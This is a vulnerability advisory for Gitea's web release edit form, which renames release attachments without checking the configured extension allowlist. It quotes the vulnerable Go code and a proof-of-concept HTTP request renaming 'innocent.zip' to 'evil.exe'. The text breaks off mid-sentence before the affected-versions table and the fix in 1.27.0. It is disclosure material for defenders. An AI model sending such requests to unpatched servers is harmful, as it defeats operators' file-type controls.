CVE-2026-58428
Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)
Summary
## Summary The web handler `EditReleasePost` (`routers/web/repo/release.go`) reads form fields with prefix `attachment-edit-{uuid}` into a `map[uuid]newName`, passes that map to `release_service.UpdateRelease`, which writes the new name to the database via `repo_model.UpdateAttachmentByUUID` WITHOUT calling `upload.Verify` against `setting.Repository.Release.AllowedTypes`. The parent CVE-2025-68939 fix (PR #32151) added the equivalent `upload.Verify` call on the API edit endpoints via `attachment_service.UpdateAttachment`. The web release edit path was not updated. A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist. ## Details ### Vulnerable code `routers/web/repo/release.go:597` `EditReleasePost`: ```go const editPrefix = "attachment-edit-" editAttachments := make(map[string]string) if setting.Attachment.Enabled { for k, v := range ctx.Req.Form { if strings.HasPrefix(k, editPrefix) { editAttachments[k[len(editPrefix):]] = v[0] } } } ... if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo, rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil { ctx.ServerError("UpdateRelease", err) return } ``` `services/release/release.go:321` -- the unvalidated write: ```go for uuid, newName := range editAttachments { if !deletedUUIDs.Contains(uuid) { if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } } ``` No `upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes)` before the database write. ### Comparison: the parent fix on the API path `routers/api/v1/repo/release_attachment.go:341` (patched in PR #32151): ```go if err := attachment_service.UpdateAttachment(ctx, setting.Repository.Release.AllowedTypes, attach); err != nil { if upload.IsErrFileTypeForbidden(err) { ctx.Error(http.StatusUnprocessableEntity, "", err) return } ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach) return } ``` Delegates to: ```go // services/attachment/attachment.go:96 func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error { if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil { return err } return repo_model.UpdateAttachment(ctx, attach) } ``` The API path goes through `attachment_service.UpdateAttachment` which calls `upload.Verify(nil, attach.Name, allowedTypes)`. The web path bypasses this entirely. ## Proof of Concept Tested live against: * Gitea `v1.26.1` community edition, Linux amd64, SQLite, Go 1.26.2 * `app.ini` includes `[repository.release] ALLOWED_TYPES = .zip,.tar.gz` * Two users: `admin` (superuser, created via `gitea admin user create --admin`), `bob` (regular, repo owner of `bob/test-repo`) **Step 1**: bob creates release v0.1 and uploads `innocent.zip` (allowlist compliant) via the API. **Step 2**: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension. ```http PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 Authorization: token Content-Type: application/json {"name":"evil.exe"} ``` Response: `HTTP 422` -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action). **Step 3**: The attack. The web release edit form does NOT enforce the allowlist. ```http POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1 Cookie: i_like_gitea= ; lang=en-US Content-Type: application/x-www-form-urlencoded tag_name=v0.1 &tag_target=main &title=rename+payload &content= &attachment-edit- =evil.exe ``` Response: `HTTP 303 -> /bob/test-repo/releases`. The form is accepted
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| Go | code.gitea.io/gitea | — | 1.27.0 |
Remediation: Upgrade to 1.27.0 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.